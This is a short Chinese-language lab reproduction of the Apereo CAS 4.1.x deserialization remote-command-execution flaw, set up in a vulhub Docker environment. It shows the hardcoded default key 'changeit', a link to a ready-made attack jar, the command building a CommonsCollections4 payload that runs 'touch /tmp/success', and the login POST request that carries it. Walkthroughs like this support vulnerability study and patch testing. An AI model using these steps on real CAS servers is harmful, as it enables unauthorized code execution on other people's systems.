Apereo CAS 4.1 反序列化命令执行漏洞复现

Apereo CAS <= 4.1.7

cd vulhub-master/apereo-cas/4.1-rce/
docker-compose up -d

public class EncryptedTranscoder implements Transcoder {    private CipherBean cipherBean;    private boolean compression = true;
    public EncryptedTranscoder() throws IOException {        BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean();        bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7"));        bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore());        bufferedBlockCipherBean.setKeyAlias("aes128");        bufferedBlockCipherBean.setKeyPassword("changeit");        bufferedBlockCipherBean.setNonce(new RBGNonce());        this.setCipherBean(bufferedBlockCipherBean);    }
    // ...

https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success"

POST /cas/login HTTP/1.1
Host: 192.168.204.131:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 2289
Origin: http://192.168.204.131:8080
Connection: close
Referer: http://192.168.204.131:8080/cas/login;jsessionid=0CF8D0EDB4319FAE331C7D10BE3E0864
Cookie: JSESSIONID=0CF8D0EDB4319FAE331C7D10BE3E0864
Upgrade-Insecure-Requests: 1


username=asddas&password=asdasd&lt=LT-7-U74mB7leoY1FdormOR5oGe59Z5I4ng-cas01.example.org&execution=[payload]&_eventId=submit&submit=LOGIN